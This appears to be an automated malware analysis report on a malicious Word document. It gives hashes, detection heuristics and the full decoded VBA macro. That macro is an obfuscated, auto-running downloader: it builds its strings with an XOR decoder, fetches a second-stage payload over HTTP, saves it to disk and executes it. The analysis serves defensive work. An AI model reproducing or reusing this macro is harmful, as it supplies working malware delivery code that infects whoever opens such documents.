Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e9e3778b7b18fa12…

MALICIOUS

Office (OLE)

918.5 KB Created: 2018-10-10 02:55:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: e9766be36385bd3bd6ae2cd3643dc97b SHA-1: ee4c1fd4a5e3f82446ce65b3be48a2140f76a64b SHA-256: e9e3778b7b18fa12d8444d55cbb1d845e46dce05ba8313e5444aef9b227243bb
290 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample contains a Document_Open macro that is obfuscated and uses CreateObject and Shell calls. This macro is designed to download and execute a second-stage payload, as indicated by the 'OLE_VBA_HTTP_DROP_EXEC' heuristic. The VBA code attempts to reconstruct strings for object creation and URLs, suggesting a downloader functionality.

Heuristics 8

  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell (KQVc)
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    .write jEtQKdywRptb.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    Dim jEtQKdywRptb: Set jEtQKdywRptb = CreateObject(nrTNEdREto(Array(123, 59, 81, 42, 57, 25, 58, 43, 1, 71, 49, 44, 123, 13, 18, 16, 7), 0))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Dim jEtQKdywRptb: Set jEtQKdywRptb = CreateObject(nrTNEdREto(Array(123, 59, 81, 42, 57, 25, 58, 43, 1, 71, 49, 44, 123, 13, 18, 16, 7), 0))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2182 bytes
SHA-256: 1c0be84264d63b3aa56ffc7724578014d516d82d73b147a16569b8730df6f9a1
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
If ActiveDocument.Variables("ySKtKh").Value <> "seenyou" Then
GnvUscWIxkyaWEn
ActiveDocument.Variables("ySKtKh").Value = "seenyou"
If ActiveDocument.ReadOnly = False Then
ActiveDocument.Save
End If
End If
End Sub


Attribute VB_Name = "azFdhVV"
Private Function nrTNEdREto(XjGXcsBTeV As Variant, ORhvNhTlPa As Integer)
Dim xTSzQCzPDo, IPDrafvwaP As String, gkIKZjCdAA, oUBmyMbGWW
IPDrafvwaP = ActiveDocument.Variables("ySKtKh").Value()
xTSzQCzPDo = ""
gkIKZjCdAA = 1
While gkIKZjCdAA < UBound(XjGXcsBTeV) + 2
oUBmyMbGWW = gkIKZjCdAA Mod Len(IPDrafvwaP): If oUBmyMbGWW = 0 Then oUBmyMbGWW = Len(IPDrafvwaP)
xTSzQCzPDo = xTSzQCzPDo + Chr(Asc(Mid(IPDrafvwaP, oUBmyMbGWW + ORhvNhTlPa, 1)) Xor CInt(XjGXcsBTeV(gkIKZjCdAA - 1)))
gkIKZjCdAA = gkIKZjCdAA + 1
Wend
nrTNEdREto = xTSzQCzPDo
End Function
Function HltFfoaGaeOrEfX(ByVal IqcFkbXfSH As String) As Boolean
FileExists = (Dir(IqcFkbXfSH) <> "")
End Function
Public Function GnvUscWIxkyaWEn()
On Error GoTo Oops
Dim jEtQKdywRptb: Set jEtQKdywRptb = CreateObject(nrTNEdREto(Array(123, 59, 81, 42, 57, 25, 58, 43, 1, 71, 49, 44, 123, 13, 18, 16, 7), 0))
Dim aPTBDyfEoKZ: Set aPTBDyfEoKZ = CreateObject(nrTNEdREto(Array(55, 49, 25, 54, 3, 102, 61, 58, 51, 21, 3, 11), 17))
wzoqAQZA = nrTNEdREto(Array(14, 11, 97), 29)
HVuoUJLGxuzt = nrTNEdREto(Array(61, 58, 14, 72, 74, 74, 102, 46, 3, 28, 6, 74, 46, 68, 16, 90, 20, 15, 31, 27, 11, _
11, 20, 124, 66, 31, 13, 57, 20, 31, 12, 52, 75, 19, 52, 61), 63)
KQVc = nrTNEdREto(Array(41, 12, 12, 112, 42, 58, 47, 24, 14, 25, 102, 9, 117, 115, 61, 35, 93, 18, 33, 40, 2, _
1, 19, 63, 1, 25, 7, 120, 8, 23, 34), 32)
jEtQKdywRptb.Open wzoqAQZA, HVuoUJLGxuzt, False
jEtQKdywRptb.Send
With aPTBDyfEoKZ
.Type = 1
.Open
.write jEtQKdywRptb.responseBody
.savetofile KQVc, 2
End With
Shell (KQVc)
Oops:
'//don't worry, be lazy
End Function